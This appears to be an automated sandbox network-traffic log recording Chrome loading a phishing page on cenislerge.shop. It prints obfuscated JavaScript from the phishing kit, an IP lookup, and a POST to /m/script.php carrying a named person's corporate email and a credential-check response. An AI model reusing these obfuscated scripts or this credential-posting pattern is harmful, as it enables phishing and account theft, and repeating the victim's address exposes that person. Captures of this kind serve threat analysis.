2024-12-12 11:08:55 UTC	7822	IN	Data Raw: 66 62 34 62 2d 30 78 39 62 2c 5f 30 78 34 31 37 31 38 32 2d 30 78 34 63 29 3b 7d 66 75 6e 63 74 69 6f 6e 20 5f 30 78 64 30 64 62 38 28 5f 30 78 32 38 65 30 37 36 2c 5f 30 78 31 37 36 61 39 33 2c 5f 30 78 34 30 61 63 35 31 2c 5f 30 78 33 66 62 38 66 36 2c 5f 30 78 34 32 62 30 30 36 29 7b 72 65 74 75 72 6e 20 5f 30 78 35 63 62 37 64 62 28 5f 30 78 32 38 65 30 37 36 2d 30 78 35 63 2c 5f 30 78 34 32 62 30 30 36 2c 5f 30 78 34 30 61 63 35 31 2d 30 78 31 61 62 2c 5f 30 78 33 66 62 38 66 36 2d 30 78 37 33 2c 5f 30 78 33 66 62 38 66 36 2d 20 2d 30 78 31 39 30 29 3b 7d 66 75 6e 63 74 69 6f 6e 20 5f 30 78 33 63 62 31 39 38 28 5f 30 78 34 30 30 37 34 38 2c 5f 30 78 34 33 33 61 39 38 2c 5f 30 78 65 33 64 34 63 64 2c 5f 30 78 31 61 39 38 35 64 2c 5f 30 78 34 35 62 65 Data Ascii: fb4b-0x9b,_0x417182-0x4c);}function _0xd0db8(_0x28e076,_0x176a93,_0x40ac51,_0x3fb8f6,_0x42b006){return _0x5cb7db(_0x28e076-0x5c,_0x42b006,_0x40ac51-0x1ab,_0x3fb8f6-0x73,_0x3fb8f6- -0x190);}function _0x3cb198(_0x400748,_0x433a98,_0xe3d4cd,_0x1a985d,_0x45be
2024-12-12 11:08:55 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-12-12 11:08:55 UTC	8192	IN	Data Raw: 31 66 34 30 0d 0a 62 2c 30 78 64 38 2c 30 78 37 30 29 5d 2c 27 58 72 49 78 74 27 3a 5f 30 78 33 38 31 31 31 64 5b 5f 30 78 35 63 36 31 66 30 28 30 78 39 61 37 2c 30 78 35 63 65 2c 30 78 39 36 34 2c 30 78 38 32 61 2c 30 78 35 63 30 29 5d 2c 27 5a 64 69 73 70 27 3a 66 75 6e 63 74 69 6f 6e 28 5f 30 78 31 65 37 32 63 32 2c 5f 30 78 31 32 61 63 65 39 29 7b 66 75 6e 63 74 69 6f 6e 20 5f 30 78 31 63 36 62 39 31 28 5f 30 78 34 34 62 65 62 36 2c 5f 30 78 35 63 31 66 38 37 2c 5f 30 78 36 63 61 30 38 36 2c 5f 30 78 61 63 39 37 33 38 2c 5f 30 78 34 37 39 35 65 35 29 7b 72 65 74 75 72 6e 20 5f 30 78 33 36 32 39 34 39 28 5f 30 78 35 63 31 66 38 37 2c 5f 30 78 35 63 31 66 38 37 2d 30 78 31 61 38 2c 5f 30 78 61 63 39 37 33 38 2d 30 78 35 35 37 2c 5f 30 78 61 63 39 37 33 Data Ascii: 1f40b,0xd8,0x70)],'XrIxt':_0x38111d[_0x5c61f0(0x9a7,0x5ce,0x964,0x82a,0x5c0)],'Zdisp':function(_0x1e72c2,_0x12ace9){function _0x1c6b91(_0x44beb6,_0x5c1f87,_0x6ca086,_0xac9738,_0x4795e5){return _0x362949(_0x5c1f87,_0x5c1f87-0x1a8,_0xac9738-0x557,_0xac973
2024-12-12 11:08:55 UTC	7822	IN	Data Raw: 30 78 65 63 2c 30 78 64 36 2c 30 78 63 65 29 5d 2c 5f 30 78 65 61 38 34 62 34 5b 5f 30 78 33 37 35 35 37 32 28 30 78 36 32 35 2c 30 78 39 35 34 2c 30 78 35 33 36 2c 30 78 39 35 37 2c 30 78 34 65 66 29 5d 29 29 5f 30 78 32 63 63 63 36 64 2b 2b 2c 5f 30 78 34 66 64 39 30 39 5b 5f 30 78 35 30 35 64 39 61 28 30 78 62 39 2c 30 78 32 34 39 2c 30 78 35 63 63 2c 2d 30 78 32 64 65 2c 30 78 64 62 29 5d 28 5f 30 78 32 31 63 33 32 31 2c 2d 30 78 62 64 38 2b 30 78 31 63 38 62 2b 2d 30 78 31 2a 30 78 31 30 62 31 29 3f 5f 30 78 32 62 63 36 62 30 5b 5f 30 78 31 63 63 38 31 62 28 30 78 31 36 61 2c 30 78 33 38 63 2c 30 78 32 34 30 2c 30 78 31 34 63 2c 30 78 35 33 34 29 2b 5f 30 78 31 63 63 38 31 62 28 2d 30 78 31 31 64 2c 30 78 31 34 35 2c 2d 30 78 33 34 2c 2d 30 78 32 39 Data Ascii: 0xec,0xd6,0xce)],_0xea84b4[_0x375572(0x625,0x954,0x536,0x957,0x4ef)]))_0x2ccc6d++,_0x4fd909[_0x505d9a(0xb9,0x249,0x5cc,-0x2de,0xdb)](_0x21c321,-0xbd8+0x1c8b+-0x1*0x10b1)?_0x2bc6b0[_0x1cc81b(0x16a,0x38c,0x240,0x14c,0x534)+_0x1cc81b(-0x11d,0x145,-0x34,-0x29
2024-12-12 11:08:55 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-12-12 11:08:56 UTC	8192	IN	Data Raw: 31 66 34 30 0d 0a 37 30 34 65 28 30 78 32 36 64 2c 30 78 61 62 62 2c 30 78 34 32 36 2c 30 78 62 37 63 2c 30 78 36 66 37 29 5d 2c 5f 30 78 32 30 35 61 61 34 5b 5f 30 78 32 61 37 30 34 65 28 30 78 34 62 2c 30 78 36 32 36 2c 30 78 37 34 37 2c 30 78 33 31 36 2c 30 78 33 38 65 29 5d 5d 3b 66 6f 72 28 76 61 72 20 5f 30 78 35 31 66 38 61 66 3d 2d 30 78 33 2a 2d 30 78 35 39 30 2b 2d 30 78 32 2a 2d 30 78 31 32 36 65 2b 2d 30 78 31 37 2a 30 78 32 35 34 3b 5f 30 78 32 30 35 61 61 34 5b 5f 30 78 33 62 32 37 33 64 28 30 78 32 31 65 2c 30 78 34 62 37 2c 30 78 36 65 32 2c 30 78 33 35 64 2c 30 78 33 30 64 29 5d 28 5f 30 78 35 31 66 38 61 66 2c 5f 30 78 31 66 35 37 63 66 5b 5f 30 78 33 62 32 37 33 64 28 30 78 34 62 31 2c 30 78 31 34 2c 30 78 34 64 30 2c 30 78 36 33 35 2c Data Ascii: 1f40704e(0x26d,0xabb,0x426,0xb7c,0x6f7)],_0x205aa4[_0x2a704e(0x4b,0x626,0x747,0x316,0x38e)]];for(var _0x51f8af=-0x3-0x590+-0x2-0x126e+-0x17*0x254;_0x205aa4[_0x3b273d(0x21e,0x4b7,0x6e2,0x35d,0x30d)](_0x51f8af,_0x1f57cf[_0x3b273d(0x4b1,0x14,0x4d0,0x635,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	50035	104.26.12.205	443	7392	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 11:08:55 UTC	618	OUT	GET /?format=json HTTP/1.1 Host: api.ipify.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json, text/javascript, /; q=0.01 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://qxydsa4dws.cenislerge.shop Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://qxydsa4dws.cenislerge.shop/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-12 11:08:55 UTC	463	IN	HTTP/1.1 200 OK Date: Thu, 12 Dec 2024 11:08:55 GMT Content-Type: application/json Content-Length: 21 Connection: close Access-Control-Allow-Origin: * Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8f0d425e0a5d42c7-EWR server-timing: cfL4;desc="?proto=TCP&rtt=1725&min_rtt=1719&rtt_var=658&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2819&recv_bytes=1196&delivery_rate=1646926&cwnd=252&unsent_bytes=0&cid=143b072fddf0e487&ts=461&x=0"
2024-12-12 11:08:55 UTC	21	IN	Data Raw: 7b 22 69 70 22 3a 22 38 2e 34 36 2e 31 32 33 2e 31 37 35 22 7d Data Ascii: {"ip":"8.46.123.175"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	50034	209.74.95.101	443	7392	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 11:08:55 UTC	485	OUT	GET /m/bxg/DEC300GVPCIFO06FK0GDRIEYW HTTP/1.1 Host: qxydsa4dws.cenislerge.shop Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=b7212af645e7713488ed887ef0fdc91e; preload=1; rt=a4eba51ada9a7f9b916dddb455a39f52.htm
2024-12-12 11:08:55 UTC	247	IN	HTTP/1.1 200 OK Date: Thu, 12 Dec 2024 11:08:55 GMT Server: Apache/2.4.62 (Unix) OpenSSL/3.0.7 X-Powered-By: PHP/7.4.33 Vary: Accept-Encoding,User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-12-12 11:08:55 UTC	1871	IN	Data Raw: 37 34 38 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 39 32 30 22 20 68 65 69 67 68 74 3d 22 31 30 38 30 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 3e 3c 67 20 6f 70 61 63 69 74 79 3d 22 2e 32 22 20 63 6c 69 70 2d 70 61 74 68 3d 22 75 72 6c 28 23 45 29 22 3e 3c 70 61 74 68 20 64 3d 22 4d 31 34 36 36 2e 34 20 31 37 39 35 2e 32 63 39 35 30 2e 33 37 20 30 20 31 37 32 30 2e 38 2d 36 32 37 2e 35 32 20 31 37 32 30 2e 38 2d 31 34 30 31 2e 36 53 32 34 31 36 2e 37 37 2d 31 30 30 38 20 31 34 36 36 2e 34 2d 31 30 30 38 2d 32 35 34 2e 34 2d 33 38 30 2e 34 38 32 2d 32 35 34 2e 34 20 33 39 33 2e 36 73 37 37 30 2e 34 32 38 20 31 34 30 31 2e 36 20 31 37 32 30 2e 38 20 31 Data Ascii: 748<svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1
2024-12-12 11:08:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	50038	209.74.95.101	443	7392	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 11:08:56 UTC	851	OUT	POST /m/script.php HTTP/1.1 Host: qxydsa4dws.cenislerge.shop Connection: keep-alive Content-Length: 547 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: / Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://qxydsa4dws.cenislerge.shop Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://qxydsa4dws.cenislerge.shop/m/a4eba51ada9a7f9b916dddb455a39f52.htm Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=b7212af645e7713488ed887ef0fdc91e; preload=1; rt=a4eba51ada9a7f9b916dddb455a39f52.htm
2024-12-12 11:08:56 UTC	547	OUT	Data Raw: 61 63 74 69 6f 6e 3d 73 69 67 6e 75 70 26 76 61 6c 78 3d 25 37 42 25 32 32 75 73 65 72 6e 61 6d 65 25 32 32 25 33 41 25 32 32 61 64 61 6d 2e 6c 75 62 69 6b 25 34 30 72 6f 63 6b 77 6f 6f 6c 2e 63 6f 6d 25 32 32 25 32 43 25 32 32 69 73 4f 74 68 65 72 49 64 70 53 75 70 70 6f 72 74 65 64 25 32 32 25 33 41 74 72 75 65 25 32 43 25 32 32 63 68 65 63 6b 50 68 6f 6e 65 73 25 32 32 25 33 41 66 61 6c 73 65 25 32 43 25 32 32 69 73 52 65 6d 6f 74 65 4e 47 43 53 75 70 70 6f 72 74 65 64 25 32 32 25 33 41 74 72 75 65 25 32 43 25 32 32 69 73 43 6f 6f 6b 69 65 42 61 6e 6e 65 72 53 68 6f 77 6e 25 32 32 25 33 41 66 61 6c 73 65 25 32 43 25 32 32 69 73 46 69 64 6f 53 75 70 70 6f 72 74 65 64 25 32 32 25 33 41 74 72 75 65 25 32 43 25 32 32 6f 72 69 67 69 6e 61 6c 52 65 71 75 65 Data Ascii: action=signup&valx=%7B%22username%22%3A%22adam.lubik%40rockwool.com%22%2C%22isOtherIdpSupported%22%3Atrue%2C%22checkPhones%22%3Afalse%2C%22isRemoteNGCSupported%22%3Atrue%2C%22isCookieBannerShown%22%3Afalse%2C%22isFidoSupported%22%3Atrue%2C%22originalReque
2024-12-12 11:08:58 UTC	438	IN	HTTP/1.1 200 OK Date: Thu, 12 Dec 2024 11:08:56 GMT Server: Apache/2.4.62 (Unix) OpenSSL/3.0.7 X-Powered-By: PHP/7.4.33 Access-Control-Allow-Headers: Authorization, Content-Type Access-Control-Allow-Origin: * Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: application/php; charset=utf-8
2024-12-12 11:08:58 UTC	1637	IN	Data Raw: 36 35 65 0d 0a 7b 22 55 73 65 72 6e 61 6d 65 22 3a 22 61 64 61 6d 2e 6c 75 62 69 6b 40 72 6f 63 6b 77 6f 6f 6c 2e 63 6f 6d 22 2c 22 44 69 73 70 6c 61 79 22 3a 22 61 64 61 6d 2e 6c 75 62 69 6b 40 72 6f 63 6b 77 6f 6f 6c 2e 63 6f 6d 22 2c 22 49 66 45 78 69 73 74 73 52 65 73 75 6c 74 22 3a 30 2c 22 49 73 55 6e 6d 61 6e 61 67 65 64 22 3a 66 61 6c 73 65 2c 22 54 68 72 6f 74 74 6c 65 53 74 61 74 75 73 22 3a 31 2c 22 43 72 65 64 65 6e 74 69 61 6c 73 22 3a 7b 22 50 72 65 66 43 72 65 64 65 6e 74 69 61 6c 22 3a 34 2c 22 48 61 73 50 61 73 73 77 6f 72 64 22 3a 74 72 75 65 2c 22 52 65 6d 6f 74 65 4e 67 63 50 61 72 61 6d 73 22 3a 6e 75 6c 6c 2c 22 46 69 64 6f 50 61 72 61 6d 73 22 3a 6e 75 6c 6c 2c 22 51 72 43 6f 64 65 50 69 6e 50 61 72 61 6d 73 22 3a 6e 75 6c 6c 2c 22 Data Ascii: 65e{"Username":"adam.lubik@rockwool.com","Display":"adam.lubik@rockwool.com","IfExistsResult":0,"IsUnmanaged":false,"ThrottleStatus":1,"Credentials":{"PrefCredential":4,"HasPassword":true,"RemoteNgcParams":null,"FidoParams":null,"QrCodePinParams":null,"
2024-12-12 11:08:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	50037	209.74.95.101	443	7392	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 11:08:56 UTC	769	OUT	GET /m/ic/76LXZHDGH9P3ITQ8VQI158R4G HTTP/1.1 Host: qxydsa4dws.cenislerge.shop Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://qxydsa4dws.cenislerge.shop/m/a4eba51ada9a7f9b916dddb455a39f52.htm Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=b7212af645e7713488ed887ef0fdc91e; preload=1; rt=a4eba51ada9a7f9b916dddb455a39f52.htm
2024-12-12 11:08:56 UTC	247	IN	HTTP/1.1 200 OK Date: Thu, 12 Dec 2024 11:08:56 GMT Server: Apache/2.4.62 (Unix) OpenSSL/3.0.7 X-Powered-By: PHP/7.4.33 Vary: Accept-Encoding,User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-12-12 11:08:56 UTC	7945	IN	Data Raw: 33 65 33 63 0d 0a 00 00 01 00 06 00 80 80 10 00 00 00 00 00 68 28 00 00 66 00 00 00 48 48 10 00 00 00 00 00 e8 0d 00 00 ce 28 00 00 30 30 10 00 00 00 00 00 68 06 00 00 b6 36 00 00 20 20 10 00 00 00 00 00 e8 02 00 00 1e 3d 00 00 18 18 10 00 00 00 00 00 e8 01 00 00 06 40 00 00 10 10 10 00 00 00 00 00 28 01 00 00 ee 41 00 00 28 00 00 00 80 00 00 00 00 01 00 00 01 00 04 00 00 00 00 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 ba 7f 00 22 50 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 Data Ascii: 3e3ch(fHH(00h6 =@(A(("P"""""""""""""""""""""""""""""" 333333333
2024-12-12 11:08:56 UTC	7993	IN	Data Raw: 44 44 44 44 44 44 44 44 44 44 44 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 50 00 00 04 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 50 00 00 04 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 50 00 00 04 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 50 00 00 04 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 Data Ascii: DDDDDDDDDDDUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUPDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUPDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUPDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUPDDDDDDDDDDDDDDDDDD
2024-12-12 11:08:56 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-12-12 11:08:56 UTC	1249	IN	Data Raw: 34 64 61 0d 0a 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 99 99 99 99 99 99 99 70 03 33 33 33 33 33 33 33 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 aa aa aa aa aa aa aa 50 04 ee ee ee ee ee ee ee 66 66 66 66 66 66 66 b0 0d 88 88 88 88 88 88 88 66 66 66 66 66 66 66 b0 0d 88 88 88 88 88 88 88 66 66 66 66 66 66 66 b0 0d 88 88 88 88 88 88 88 66 66 66 66 66 66 66 b0 0d 88 88 88 88 88 88 88 66 66 66 66 66 66 66 b0 0d 88 88 88 88 88 88 88 66 66 66 66 66 66 66 b0 0d 88 88 88 88 88 88 88 66 66 66 66 66 66 66 b0 0d 88 88 88 88 88 88 88 66 66 66 66 66 66 66 b0 0d 88 88 88 88 88 88 88 66 66 66 66 66 66 66 b0 0d 88 88 88 88 88 88 88 Data Ascii: 4da"3333333"""""""3333333"""""""3333333p3333333Pfffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
2024-12-12 11:08:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	50036	209.74.95.101	443	7392	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 11:08:56 UTC	486	OUT	GET /m/ecpt/RO2LW20A33DKH6T0JW0W6E353 HTTP/1.1 Host: qxydsa4dws.cenislerge.shop Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=b7212af645e7713488ed887ef0fdc91e; preload=1; rt=a4eba51ada9a7f9b916dddb455a39f52.htm
2024-12-12 11:08:56 UTC	268	IN	HTTP/1.1 200 OK Date: Thu, 12 Dec 2024 11:08:56 GMT Server: Apache/2.4.62 (Unix) OpenSSL/3.0.7 X-Powered-By: PHP/7.4.33 Vary: Accept-Encoding,User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/javascript; charset: UTF-8;charset=UTF-8
2024-12-12 11:08:56 UTC	7924	IN	Data Raw: 33 65 32 37 0d 0a 28 66 75 6e 63 74 69 6f 6e 28 5f 30 78 35 62 31 39 38 39 2c 5f 30 78 34 64 64 38 64 64 29 7b 66 75 6e 63 74 69 6f 6e 20 5f 30 78 39 38 63 37 36 30 28 5f 30 78 35 62 63 30 36 36 2c 5f 30 78 32 62 66 65 38 62 2c 5f 30 78 33 61 65 35 61 34 2c 5f 30 78 62 62 32 64 63 63 2c 5f 30 78 31 31 35 35 65 61 29 7b 72 65 74 75 72 6e 20 5f 30 78 34 65 35 33 28 5f 30 78 35 62 63 30 36 36 2d 20 2d 30 78 32 64 66 2c 5f 30 78 62 62 32 64 63 63 29 3b 7d 66 75 6e 63 74 69 6f 6e 20 5f 30 78 31 65 65 30 37 31 28 5f 30 78 32 63 63 64 62 62 2c 5f 30 78 35 38 38 63 64 35 2c 5f 30 78 32 31 66 36 31 34 2c 5f 30 78 33 65 38 65 32 66 2c 5f 30 78 34 64 32 31 39 61 29 7b 72 65 74 75 72 6e 20 5f 30 78 34 65 35 33 28 5f 30 78 34 64 32 31 39 61 2d 20 2d 30 78 32 32 33 2c Data Ascii: 3e27(function(_0x5b1989,_0x4dd8dd){function _0x98c760(_0x5bc066,_0x2bfe8b,_0x3ae5a4,_0xbb2dcc,_0x1155ea){return _0x4e53(_0x5bc066- -0x2df,_0xbb2dcc);}function _0x1ee071(_0x2ccdbb,_0x588cd5,_0x21f614,_0x3e8e2f,_0x4d219a){return _0x4e53(_0x4d219a- -0x223,
2024-12-12 11:08:56 UTC	7993	IN	Data Raw: 2c 5f 30 78 35 61 32 36 37 31 2c 5f 30 78 34 62 66 33 66 37 29 7b 72 65 74 75 72 6e 20 5f 30 78 34 65 35 33 28 5f 30 78 35 61 32 36 37 31 2d 20 2d 30 78 32 64 39 2c 5f 30 78 32 64 62 32 64 31 29 3b 7d 66 75 6e 63 74 69 6f 6e 20 5f 30 78 31 39 37 35 34 63 28 5f 30 78 33 33 39 30 32 62 2c 5f 30 78 34 33 39 31 30 36 2c 5f 30 78 33 31 39 36 36 64 2c 5f 30 78 33 39 36 65 37 62 2c 5f 30 78 39 64 64 64 36 65 29 7b 72 65 74 75 72 6e 20 5f 30 78 34 65 35 33 28 5f 30 78 33 31 39 36 36 64 2d 20 2d 30 78 32 36 62 2c 5f 30 78 39 64 64 64 36 65 29 3b 7d 76 61 72 20 5f 30 78 32 66 38 63 34 30 3d 7b 7d 3b 5f 30 78 32 66 38 63 34 30 5b 5f 30 78 33 34 30 32 34 64 28 30 78 34 38 39 2c 30 78 35 61 32 2c 30 78 34 30 38 2c 30 78 35 66 62 2c 30 78 35 64 33 29 5d 3d 5f 30 78 33 Data Ascii: ,_0x5a2671,_0x4bf3f7){return _0x4e53(_0x5a2671- -0x2d9,_0x2db2d1);}function _0x19754c(_0x33902b,_0x439106,_0x31966d,_0x396e7b,_0x9ddd6e){return _0x4e53(_0x31966d- -0x26b,_0x9ddd6e);}var _0x2f8c40={};_0x2f8c40[_0x34024d(0x489,0x5a2,0x408,0x5fb,0x5d3)]=_0x3
2024-12-12 11:08:56 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-12-12 11:08:56 UTC	8192	IN	Data Raw: 31 66 34 30 0d 0a 20 2d 30 78 31 31 36 2c 5f 30 78 61 34 32 32 63 64 2d 30 78 31 33 39 2c 5f 30 78 34 65 34 65 30 36 2d 30 78 31 35 39 2c 5f 30 78 61 34 32 32 63 64 2c 5f 30 78 35 62 38 62 65 61 2d 30 78 38 37 29 3b 7d 66 75 6e 63 74 69 6f 6e 20 5f 30 78 32 34 34 34 63 30 28 5f 30 78 31 64 31 33 65 39 2c 5f 30 78 34 39 61 65 33 35 2c 5f 30 78 35 39 62 64 35 37 2c 5f 30 78 35 33 37 36 66 65 2c 5f 30 78 62 61 63 35 65 35 29 7b 72 65 74 75 72 6e 20 5f 30 78 35 38 30 36 39 64 28 5f 30 78 31 64 31 33 65 39 2d 30 78 31 39 2c 5f 30 78 34 39 61 65 33 35 2d 30 78 39 65 2c 5f 30 78 62 61 63 35 65 35 2d 20 2d 30 78 36 36 61 2c 5f 30 78 34 39 61 65 33 35 2c 5f 30 78 62 61 63 35 65 35 2d 30 78 64 30 29 3b 7d 76 61 72 20 5f 30 78 38 34 64 65 36 65 3d 7b 27 76 55 73 7a Data Ascii: 1f40 -0x116,_0xa422cd-0x139,_0x4e4e06-0x159,_0xa422cd,_0x5b8bea-0x87);}function _0x2444c0(_0x1d13e9,_0x49ae35,_0x59bd57,_0x5376fe,_0xbac5e5){return _0x58069d(_0x1d13e9-0x19,_0x49ae35-0x9e,_0xbac5e5- -0x66a,_0x49ae35,_0xbac5e5-0xd0);}var _0x84de6e={'vUsz
2024-12-12 11:08:56 UTC	7822	IN	Data Raw: 31 38 37 2c 5f 30 78 31 33 32 30 36 35 29 3b 7d 72 65 74 75 72 6e 20 5f 30 78 65 63 66 35 38 39 5b 5f 30 78 34 39 30 61 62 30 28 2d 30 78 31 30 34 2c 30 78 31 30 36 2c 2d 30 78 35 38 2c 2d 30 78 31 63 32 2c 2d 30 78 35 37 29 5d 28 5f 30 78 32 61 37 62 32 62 2c 5f 30 78 32 33 64 32 35 33 29 3b 7d 2c 27 54 6f 48 65 78 27 3a 66 75 6e 63 74 69 6f 6e 28 5f 30 78 31 30 61 62 63 37 2c 5f 30 78 35 31 30 39 66 61 29 7b 66 75 6e 63 74 69 6f 6e 20 5f 30 78 65 61 39 39 65 38 28 5f 30 78 32 35 33 35 32 34 2c 5f 30 78 34 63 38 35 37 34 2c 5f 30 78 32 34 62 30 61 66 2c 5f 30 78 32 39 38 31 34 37 2c 5f 30 78 32 37 34 36 35 35 29 7b 72 65 74 75 72 6e 20 5f 30 78 34 65 35 33 28 5f 30 78 32 34 62 30 61 66 2d 30 78 33 31 39 2c 5f 30 78 34 63 38 35 37 34 29 3b 7d 72 65 74 75 Data Ascii: 187,_0x132065);}return _0xecf589[_0x490ab0(-0x104,0x106,-0x58,-0x1c2,-0x57)](_0x2a7b2b,_0x23d253);},'ToHex':function(_0x10abc7,_0x5109fa){function _0xea99e8(_0x253524,_0x4c8574,_0x24b0af,_0x298147,_0x274655){return _0x4e53(_0x24b0af-0x319,_0x4c8574);}retu
2024-12-12 11:08:56 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
